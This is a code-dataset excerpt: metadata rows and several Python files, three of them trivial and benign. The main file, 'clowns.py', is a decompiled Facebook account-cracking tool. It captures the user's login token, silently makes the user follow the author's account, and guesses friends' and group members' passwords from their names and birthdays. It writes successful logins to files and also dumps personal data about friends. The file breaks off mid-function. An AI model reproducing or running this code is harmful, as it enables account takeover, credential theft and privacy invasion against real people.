| 0.843338
| 0.750122
| 0.750122
| 0.72816
| 0.72816
| 0.72816
| 0
| 0.004013
| 0.243243
| 3,293
| 97
| 107
| 33.948454
| 0.818218
| 0.093532
| 0
| 0.739726
| 0
| 0
| 0.002434
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.054795
| false
| 0
| 0.013699
| 0
| 0.452055
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
342c69ec27f8ba8ed9ce3fbafac0157495c395d5
| 110
|
py
|
Python
|
api/db/Accounts.py
|
BytesToBits/BytesToBits-API
|
bfa305e4f6ded995da95bbedc79c91ef8ce498fb
|
[
"MIT"
] | null | null | null |
api/db/Accounts.py
|
BytesToBits/BytesToBits-API
|
bfa305e4f6ded995da95bbedc79c91ef8ce498fb
|
[
"MIT"
] | null | null | null |
api/db/Accounts.py
|
BytesToBits/BytesToBits-API
|
bfa305e4f6ded995da95bbedc79c91ef8ce498fb
|
[
"MIT"
] | null | null | null |
from .core import BaseDb
def find_by_token(token):
return BaseDb("Main", "Accounts").get_one(token=token)
| 27.5
| 58
| 0.745455
| 17
| 110
| 4.647059
| 0.764706
| 0.253165
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.118182
| 110
| 4
| 58
| 27.5
| 0.814433
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
343b27a611f807228a1180d4ddff0ee929eae701
| 143
|
py
|
Python
|
thanados/views/about.py
|
stefaneichert/thanados
|
262b97e995425ddfe49dae0089f7de6ca58842e7
|
[
"MIT"
] | 15
|
2019-11-15T15:54:52.000Z
|
2022-01-27T10:51:18.000Z
|
thanados/views/about.py
|
nhmvienna/thanados
|
262b97e995425ddfe49dae0089f7de6ca58842e7
|
[
"MIT"
] | 1
|
2022-01-05T09:38:58.000Z
|
2022-03-08T11:10:02.000Z
|
thanados/views/about.py
|
nhmvienna/thanados
|
262b97e995425ddfe49dae0089f7de6ca58842e7
|
[
"MIT"
] | 5
|
2019-11-21T14:46:12.000Z
|
2022-02-25T16:10:24.000Z
|
from flask import render_template
from thanados import app
@app.route('/about')
def about():
return render_template('about/about.html')
| 15.888889
| 46
| 0.748252
| 20
| 143
| 5.25
| 0.6
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.13986
| 143
| 8
| 47
| 17.875
| 0.853659
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
caa57ed4038f595609b83bf0be615cae686fea20
| 264
|
py
|
Python
|
adbus/client/__init__.py
|
jameshilliard/adbus
|
3b16f02d6cc5ff27b50f1f60b429710ecac7233b
|
[
"MIT"
] | 31
|
2017-09-07T22:57:54.000Z
|
2021-08-15T01:45:42.000Z
|
adbus/client/__init__.py
|
jameshilliard/adbus
|
3b16f02d6cc5ff27b50f1f60b429710ecac7233b
|
[
"MIT"
] | 41
|
2017-08-23T17:44:02.000Z
|
2021-04-21T21:22:24.000Z
|
adbus/client/__init__.py
|
ccxtechnologies/python-adbus
|
091e3cf83d770996502a2b39cf53234e5b77cd75
|
[
"MIT"
] | 10
|
2018-08-22T06:08:20.000Z
|
2020-07-06T11:05:04.000Z
|
# == Copyright: 2017, CCX Technologies
from adbus.client.call import call
from adbus.client.getset import get
from adbus.client.getset import set_
from adbus.client.getset import get_all
from adbus.client.listen import Listen
from adbus.client.proxy import Proxy
| 29.333333
| 39
| 0.818182
| 41
| 264
| 5.219512
| 0.365854
| 0.252336
| 0.420561
| 0.294393
| 0.406542
| 0.280374
| 0
| 0
| 0
| 0
| 0
| 0.017167
| 0.117424
| 264
| 8
| 40
| 33
| 0.901288
| 0.136364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
cace03926546de268f4c14ad24bf0c42af32de82
| 88,873
|
py
|
Python
|
clowns.py
|
clownsmd5h4sh/clownsmd5
|
08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e
|
[
"Unlicense"
] | null | null | null |
clowns.py
|
clownsmd5h4sh/clownsmd5
|
08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e
|
[
"Unlicense"
] | null | null | null |
clowns.py
|
clownsmd5h4sh/clownsmd5
|
08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e
|
[
"Unlicense"
] | null | null | null |
#Decompiled by Ac3p_Cyb3r
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def Exit():
print '\x1b[1;91m[!] Exit'
os.sys.exit()
def Street(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.01)
logo = ' Tools Hack Facebook \n\x1b[1;93m Author : clownsmd5 \n\x1b[1;93m My Team. : GadgetLink \n\x1b[1;93m Thanks To : clowns3c'
def tik():
titik = [
'. ', '.. ', '... ']
for o in titik:
print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mCurrently Entering \x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(1)
back = 0
threads = []
itworks = []
checkpoint = []
failed = []
idfriend = []
idfromfriend = []
idmem = []
id = []
em = []
emfromfriend = []
hp = []
hpfromfriend = []
reaction = []
reactiongroup = []
come = []
comegroup = []
listgroup = []
Validot = '\x1b[31mNot Valid'
Valid = '\x1b[32mValid'
def login():
os.system('clear')
try:
toket = open('login.txt', 'r')
menu()
except (KeyError, IOError):
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN FACEBOOK ACCOUNT BEFORE CARRY \x1b[1;91m[\xe2\x98\x86]'
id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername FB \x1b[1;91m:\x1b[1;92m ')
pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword FB \x1b[1;91m:\x1b[1;92m ')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print '\n\x1b[1;91m[!] There is no connection'
Exit()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
x = hashlib.new('md5')
x.update(sig)
a = x.hexdigest()
data.update({'sig': a})
url = 'https://api.facebook.com/restserver.php'
r = requests.get(url, params=data)
z = json.loads(r.text)
zedd = open('login.txt', 'w')
zedd.write(z['access_token'])
zedd.close()
print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin itworks'
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
os.system('xdg-open https://github.com/aceptriana')
time.sleep(2)
menu()
except requests.exceptions.ConnectionError:
print '\n\x1b[1;91m[!] There is no connection'
Exit()
if 'checkpoint' in url:
print '\n\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
os.system('rm -rf login.txt')
time.sleep(1)
Exit()
else:
print '\n\x1b[1;91m[!] Login failed'
os.system('rm -rf login.txt')
time.sleep(1)
login()
def menu():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
os.system('clear')
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
a = json.loads(otw.text)
Name = a['name']
id = a['id']
except KeyError:
os.system('clear')
print '\x1b[1;91m[!] \x1b[1;93mSeems like Checkpoint account'
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] There is no connection'
Exit()
os.system('clear')
print logo
print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92m' + Name
print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
print '\x1b[1;37;40m1. User Information'
print '\x1b[1;37;40m2. Hack Facebook Account'
print '\x1b[1;37;40m3. Bot '
print '\x1b[1;37;40m4. Others.... '
print '\x1b[1;37;40m5. LogOut '
print '\x1b[1;31;40m0. Exit '
print
choose()
def choose():
zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if zedd == '':
print '\x1b[1;91m[!] Dont be empty'
choose()
else:
if zedd == '1':
inforDieon()
else:
if zedd == '2':
menu_hack()
else:
if zedd == '3':
menu_bot()
else:
if zedd == '4':
other()
else:
if zedd == '5':
os.system('rm -rf login.txt')
os.system('xdg-open https://www.facebook.com/GadgetLink')
Exit()
else:
if zedd == '0':
Exit()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mThere is no'
choose()
def inforDieon():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
id = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97m')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(r.text)
for p in cok['data']:
if id in p['name'] or id in p['id']:
r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket)
z = json.loads(r.text)
print 40 * '\x1b[1;97m\xe2\x95\x90'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + z['name']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mName\x1b[1;97m : \x1b[1;91mThere is no'
else:
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mThere is no'
else:
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mThere is no'
else:
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNumber HP\x1b[1;97m : ' + z['mobile_phone']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mNumber HP\x1b[1;97m : \x1b[1;91mThere is no'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLocation\x1b[1;97m : ' + z['location']['name']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mLocation\x1b[1;97m : \x1b[1;91mThere is no'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mDate of birth\x1b[1;97m : ' + z['birthday']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mDate of birth\x1b[1;97m : \x1b[1;91mThere is no'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSchool\x1b[1;97m : '
for q in z['education']:
try:
print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name']
except KeyError:
print '\x1b[1;91m ~ \x1b[1;91mThere is no'
except KeyError:
pass
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] User not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
def menu_hack():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)'
print '\x1b[1;37;40m2. Multi Bruteforce Facebook'
print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook'
print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)'
print '\x1b[1;37;40m5. Yahoo Checker'
print '\x1b[1;37;40m6. Take id/email/hp'
print '\x1b[1;31;40m0. Back'
print
hack_choose()
def hack_choose():
hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if hack == '':
print '\x1b[1;91m[!] Dont be empty'
hack_choose()
else:
if hack == '1':
mini()
else:
if hack == '2':
crack()
theresults()
else:
if hack == '3':
super()
else:
if hack == '4':
brute()
else:
if hack == '5':
menu_yahoo()
else:
if hack == '6':
grab()
else:
if hack == '0':
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mThere is no'
hack_choose()
def mini():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[ INFO ] The target account must be friends with your account first !'
try:
id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
a = json.loads(r.text)
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + a['name']
Street('\x1b[1;91m[+] \x1b[1;92mCheck \x1b[1;97m...')
time.sleep(2)
Street('\x1b[1;91m[+] \x1b[1;92mUnlock Security \x1b[1;97m...')
time.sleep(2)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease Wait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
pz1 = a['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
if 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz2 = a['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
if 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz3 = a['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
if 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
lahir = a['birthday']
pz4 = lahir.replace('/', '')
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
if 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mWas Found.'
print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
print '\x1b[1;91m[!] Sorry, failed to open password target :('
print '\x1b[1;91m[!] Try it in a other way.'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
except KeyError:
print '\x1b[1;91m[!] No Target Was Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
def crack():
global file
global idlist
global passw
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m')
passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m')
try:
file = open(idlist, 'r')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
for x in range(40):
zedd = threading.Thread(target=scrak, args=())
zedd.start()
threads.append(zedd)
for zedd in threads:
zedd.join()
except IOError:
print '\x1b[1;91m[!] File was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
def scrak():
global back
global itworks
global checkpoint
global failed
global up
try:
buka = open(idlist, 'r')
up = buka.read().split()
while file:
username = file.readline().strip()
url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
data = urllib.urlopen(url)
mpsh = json.load(data)
if back == len(up):
break
if 'access_token' in mpsh:
bisa = open('itworks.txt', 'w')
bisa.write(username + ' | ' + passw + '\n')
bisa.close()
itworks.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw)
back += 1
else:
if 'www.facebook.com' in mpsh['error_msg']:
cek = open('checkpoint.txt', 'w')
cek.write(username + ' | ' + passw + '\n')
cek.close()
checkpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw)
back += 1
else:
failed.append(username)
back += 1
sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(itworks)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(checkpoint)))
sys.stdout.flush()
except IOError:
print '\n\x1b[1;91m[!] Connection interrupted'
time.sleep(1)
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
def theresults():
print
print 40 * '\x1b[1;97m\xe2\x95\x90'
for b in itworks:
print b
for c in checkpoint:
print c
print
print '\x1b[31m[x] failed \x1b[1;97m--> ' + str(len(failed))
Exit()
def super():
global toket
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Crack from the list friend'
print '\x1b[1;37;40m2. Crack from member group'
print '\x1b[1;31;40m0. Back'
print
choose_super()
def choose_super():
peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if peak == '':
print '\x1b[1;91m[!] Dont be empty'
choose_super()
else:
if peak == '1':
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
Street('\x1b[1;91m[+] \x1b[1;92mTake id friend \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
else:
if peak == '2':
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] group was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
super()
re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket)
s = json.loads(re.text)
for i in s['data']:
id.append(i['id'])
else:
if peak == '0':
menu_hack()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mThere is no'
choose_super()
print '\x1b[1;91m[+] \x1b[1;92mAmount ID \x1b[1;91m: \x1b[1;97m' + str(len(id))
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
titik = ['. ', '.. ', '... ']
for o in titik:
print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(1)
print
print 40 * '\x1b[1;97m\xe2\x95\x90'
def main(arg):
user = arg
try:
a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
b = json.loads(a.text)
pass1 = b['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1
else:
pass2 = b['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2
else:
pass3 = b['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
